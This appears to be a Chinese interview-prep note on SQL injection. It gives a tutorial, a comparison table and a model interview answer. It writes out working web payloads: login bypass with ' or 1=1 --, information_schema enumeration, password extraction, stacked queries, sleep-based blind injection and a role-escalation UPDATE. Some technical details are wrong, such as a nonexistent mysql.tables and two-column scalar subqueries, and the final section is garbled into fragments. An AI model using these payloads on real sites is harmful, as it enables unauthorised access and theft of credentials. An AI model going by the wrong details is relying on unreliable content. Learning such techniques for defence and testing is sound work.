
SQL注入漏洞通过构造恶意用户输入,绕过Web应用对SQL语句的过滤,执行非预期的SQL命令,从而获取数据库中的敏感信息(如用户密码、管理员权限)。
老师口吻:SQL注入的核心是“欺骗”Web应用,让它执行我们构造的SQL语句。首先,注入点定位:向用户输入字段(如登录的用户名、密码框)注入特殊字符(如单引号),观察页面响应(如错误提示、数据泄露或页面跳转),判断是否存在注入。比如输入' or 1=1 --后页面显示“登录成功”,说明存在注入。接着,注入语句构造:根据数据库类型(如MySQL用' or 1=1 --验证,SQL Server用分号分隔语句,Oracle用多字节字符),结合UNION、ORDER BY等技巧。类比:就像给数据库系统“输入错误指令”,让它执行我们想让它做的事情,而不是系统原本想让它做的事情。
| 概念 | SQL注入(通用) | 基于时间的注入(绕WAF) |
|---|---|---|
| 定义 | 恶意构造输入导致SQL执行非预期 | 利用数据库响应时间差异 |
| 特性 | 需要解析输入,绕过过滤 | 不需要返回数据,只看响应时间 |
| 使用场景 | 获取数据、权限提升 | 避免WAF检测 |
| 注意点 | 数据库类型差异 | 需要精确控制时间 |
假设登录接口URL为/login?username=xxx&password=xxx(GET),测试步骤:
username=' or 1=1 --,password为空或任意值,观察页面是否显示“登录成功”,若显示则存在注入。username设为Payload,Payload为' or 1=1 --,执行扫描,若响应状态码或内容变化则确认注入。username=' or (select table_name from information_schema.tables where table_schema=database() limit 0,1) --,结果为users。username=' or (select column_name from information_schema.columns where table_name='users' limit 0,1) --,结果为username,password。username=' or (select username,password from users limit 0,1) --,结果为admin,123456。username=' or 1=1; select top 1 username,password from users --(分号分隔语句)。username=' or 1=2 and (select count(*) from users)=1 --(用多字节字符绕过过滤,如' or 1=2 and (select count(*) from users)=1 --,实际构造时用chr(97)代替a等字符)。username=' or (select 1 from users where username='admin')=1 and sleep(5)--,若存在admin用户,数据库等待5秒,页面响应延迟,通过时间差判断。面试官您好,针对SQL注入漏洞获取数据库敏感信息,核心思路是通过构造恶意用户输入绕过Web应用对SQL语句的过滤,执行非预期的SQL命令。首先,注入点定位:向用户输入字段(如登录的用户名、密码框)注入单引号,观察页面响应,若出现“登录成功”则说明存在注入。比如输入' or 1=1 --后页面显示登录成功,证明存在注入。然后,注入语句构造:根据数据库类型调整,比如MySQL用UNION查询,SQL Server用分号分隔语句,Oracle用多字节字符。比如先通过UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1获取表名,再逐列获取数据。利用过程就是通过这些构造的SQL语句,逐步获取数据库中的用户密码或管理员权限。比如时间盲注绕过WAF时,构造username=' or (select 1 from users where username='admin')=1 and sleep(5)--,若存在admin用户,数据库会等待5秒,页面响应时间明显变长,从而判断存在该用户。
load_file)。admin表),或利用权限提升的SQL语句(如修改用户权限的语句,如UPDATE users SET role='admin' WHERE username='admin')。UNION,SQL Server用分号分隔语句,Oracle用多字节字符(如chr(97)代替a)。information_schema,需调整语句,如MySQL 5.0以下用mysql系统表(select table_name from mysql.tables where table_schema=database())。